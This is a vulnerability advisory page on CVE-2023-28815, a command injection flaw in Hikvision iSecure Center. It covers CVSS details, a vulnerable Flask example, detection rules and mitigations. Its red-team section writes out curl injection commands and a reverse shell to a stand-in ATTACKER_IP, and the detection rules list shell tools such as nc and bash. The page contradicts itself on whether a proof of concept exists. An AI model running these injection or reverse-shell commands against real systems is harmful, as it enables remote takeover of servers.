CVE-2023-28815
Executive Summary
CVE-2023-28815 is a critical command injection vulnerability in Hikvision’s iSecure Center software, a platform designed exclusively for the Chinese domestic market. The flaw stems from insufficient parameter validation, allowing an unauthenticated attacker to inject arbitrary operating system commands. With a CVSS score of 9.8, successful exploitation grants full platform privileges, enabling complete system compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not issued a patch. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the severity demands immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a proprietary software product from Hikvision, distributed as a compiled binary for Windows/Linux servers.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is remotely exploitable without authentication, making it a prime target for ransomware groups and APT actors. The lack of a patch increases the risk of zero-day exploitation.
Deep Dive & Mechanics
The iSecure Center software exposes web-based management interfaces that accept user-supplied parameters without proper sanitization. The command injection occurs when these parameters are passed to system-level functions (e.g., system(), exec(), or popen()). An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.
Root Cause:
The application fails to validate or escape input before using it in OS command construction. For example, a parameter like ip=127.0.0.1 might be used in a ping command:ping -c 4 127.0.0.1
If the attacker sends ip=127.0.0.1; whoami, the command becomes:ping -c 4 127.0.0.1; whoami
This executes whoami after the ping.
Attack Surface:
- Web management console (HTTP/HTTPS)
- API endpoints for device configuration
- Logging and diagnostic features
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is inferred from similar Hikvision vulnerabilities.
Vulnerable Code (Python/Flask example):
@app.route('/ping', methods=['POST'])
def ping_host():
ip = request.form['ip']
result = os.popen(f'ping -c 4 {ip}').read()
return result
Patched Code (hypothetical):
import subprocess
import shlex
@app.route('/ping', methods=['POST'])
def ping_host():
ip = request.form['ip']
# Validate IP address format
if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return "Invalid IP", 400
# Use subprocess with list to avoid shell injection
result = subprocess.run(['ping', '-c', '4', ip], capture_output=True, text=True)
return result.stdout
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Hikvision iSecure Center (version unknown)
- Network access to the web interface (default ports 80/443)
Exploitation Steps:
- Identify the login or diagnostic endpoint (e.g.,
/api/v1/ping). - Inject commands via a vulnerable parameter:
curl -X POST "https://target/api/v1/ping" -d "ip=127.0.0.1; whoami" - If successful, escalate to a reverse shell:
curl -X POST "https://target/api/v1/ping" -d "ip=127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" - Use
nc -lvnp 4444on attacker machine to receive shell.
Note: No public exploit code exists; this is a theoretical approach based on the vulnerability description.
Blue Team
Detection:
- Monitor for unusual HTTP POST requests to diagnostic endpoints.
- Look for shell metacharacters (
;,|,&,`) in request parameters. - Alert on outbound connections from the iSecure Center server to unknown IPs on high ports (e.g., 4444).
Honeypot:
Deploy a fake iSecure Center instance and log all POST data for analysis.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests containing
;,|,&, or backticks in parameters. - Outbound connections from the iSecure Center server to suspicious IPs on ports 4444, 1337, or 8080.
- HTTP POST requests containing
File IOCs:
- Unexpected files in
/tmp/orC:\Windows\Temp\(e.g.,exploit.sh,payload.exe). - Modified system binaries (e.g.,
ping,whoami).
- Unexpected files in
Process IOCs:
- Spawned shells (
cmd.exe,/bin/sh,/bin/bash) from the iSecure Center process. - Network connections initiated by the iSecure Center process to external IPs.
- Spawned shells (
Detection Engineering
YARA Rule
rule CVE_2023_28815_CommandInjection {
meta:
description = "Detects command injection attempts against Hikvision iSecure Center"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-28815"
strings:
$cmd1 = /[;&|`]\s*(whoami|id|cat|nc|bash|sh|cmd|powershell)/i
$cmd2 = /(ping|tracert|nslookup)\s+.*[;&|`]/i
$cmd3 = /ip=.*[;&|`]/i
condition:
any of them
}
Sigma Rule
title: CVE-2023-28815 Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts against Hikvision iSecure Center
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
cs-uri-query|re: '(whoami|id|cat|nc|bash|sh|cmd|powershell)'
condition: selection
falsepositives:
- Legitimate use of special characters in parameters (rare)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-28815 Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/v1/ping"; http_uri;
pcre:"/[;&|`]\s*(whoami|id|cat|nc|bash|sh|cmd|powershell)/i";
sid:1000001;
rev:1;
reference:cve,2023-28815;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the iSecure Center server from the internet and untrusted networks.
- Apply strict firewall rules to allow only trusted IPs to access the web interface.
- Disable unnecessary diagnostic endpoints (e.g., ping, traceroute).
Long-Term Fix:
- Since no patch exists, consider migrating to an alternative VMS platform.
- Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
- Conduct a full security audit of the iSecure Center deployment.
Workaround:
- Modify the application configuration to disable shell command execution if possible.
- Use input validation at the reverse proxy level (e.g., Nginx
$argsfiltering).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.